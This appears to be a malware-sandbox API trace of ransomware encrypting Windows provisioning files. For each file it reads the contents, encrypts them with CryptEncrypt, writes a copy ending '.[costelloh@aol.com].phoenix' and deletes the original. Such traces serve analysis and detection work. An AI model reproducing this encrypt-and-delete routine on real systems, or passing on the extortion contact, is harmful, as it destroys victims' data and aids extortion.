	[0255.898] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.901] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=722) returned 1
	[0255.901] CloseHandle (hObject=0x2e0) returned 1
	[0255.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0255.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.901] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.901] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.901] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.901] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.902] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0255.902] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.902] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d2, lpOverlapped=0x0) returned 1
	[0255.903] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0255.903] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0255.904] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0255.904] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.904] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0255.904] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0255.904] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0255.904] CryptDestroyKey (hKey=0x151040) returned 1
	[0255.904] CloseHandle (hObject=0x2e0) returned 1
	[0255.904] CloseHandle (hObject=0x2f4) returned 1
	[0255.904] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml")) returned 1
	[0255.905] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.905] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.906] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=732) returned 1
	[0255.906] CloseHandle (hObject=0x2f4) returned 1
	[0255.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.906] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.906] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.906] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.906] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.906] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0255.906] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.906] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2dc, lpOverlapped=0x0) returned 1
	[0255.909] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0255.909] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0255.910] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0255.910] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.910] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0255.910] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.910] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0255.910] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0255.910] CloseHandle (hObject=0x2f4) returned 1
	[0255.910] CloseHandle (hObject=0x2e0) returned 1
	[0255.910] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.911] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.911] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.912] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=469) returned 1
	[0255.912] CloseHandle (hObject=0x2e0) returned 1
	[0255.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0255.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.912] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.912] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.912] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.912] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.913] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151480) returned 1
	[0255.913] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.913] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d5, lpOverlapped=0x0) returned 1
	[0255.913] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0255.914] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0255.914] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0255.914] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.914] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0255.914] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.914] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0255.914] CryptDestroyKey (hKey=0x151480) returned 1
	[0255.915] CloseHandle (hObject=0x2e0) returned 1
	[0255.915] CloseHandle (hObject=0x2f4) returned 1
	[0255.915] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0255.915] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.916] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.916] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=732) returned 1
	[0255.916] CloseHandle (hObject=0x2f4) returned 1
	[0255.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.916] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0255.916] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.916] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.916] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.917] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0255.917] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.917] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2dc, lpOverlapped=0x0) returned 1
	[0256.025] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0256.025] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.027] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151300) returned 1
	[0256.027] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.027] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0256.027] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.027] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0256.027] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.027] CloseHandle (hObject=0x2f4) returned 1
	[0256.027] CloseHandle (hObject=0x2e0) returned 1
	[0256.027] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.032] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.032] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.033] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=459) returned 1
	[0256.033] CloseHandle (hObject=0x2e0) returned 1
	[0256.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0256.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.033] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
